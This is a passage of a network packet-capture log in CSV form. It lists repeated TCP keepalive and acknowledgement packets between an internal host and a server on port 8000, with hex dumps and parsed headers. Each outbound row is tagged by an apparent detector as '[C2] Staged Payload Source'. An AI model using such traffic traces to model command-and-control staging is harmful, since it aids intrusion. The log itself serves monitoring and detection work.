10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000288ad640004006a529c0a3a7890a98980b1f40fa4924a4b8376481c0925010003f0aeb0000,\".$.6\n..$.)....E..(..@.@..)....\n....@.I$..7d...P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35542, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42281, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:52.747823,240,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b009400080063ff50a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45065, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16373, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:52.747840,241,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ad740004006a51cc0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35543, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42268, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:06:53.747919,242,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b00a400080063ff40a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45066, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16372, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:53.747941,243,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ad840004006a51bc0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35544, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42267, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:06:54.747876,244,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b00b400080063ff30a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45067, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16371, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:54.747896,245,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ad940004006a51ac0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35545, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42266, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:06:55.747882,246,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b00c400080063ff20a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45068, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16370, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:55.747909,247,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ada40004006a519c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35546, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42265, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:06:56.763578,248,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b00d400080063ff10a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45069, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16369, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:56.763595,249,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348adb40004006a518c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35547, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42264, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:06:57.779264,250,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b00e400080063ff00a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45070, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16368, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:57.779272,251,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348adc40004006a517c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35548, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42263, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:06:58.794918,252,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b00f400080063fef0a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45071, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16367, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:58.794937,253,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348add40004006a516c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35549, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42262, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:06:59.810559,254,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b010400080063fee0a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45072, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16366, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:59.810581,255,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ade40004006a515c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35550, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42261, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:07:00.826298,256,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks 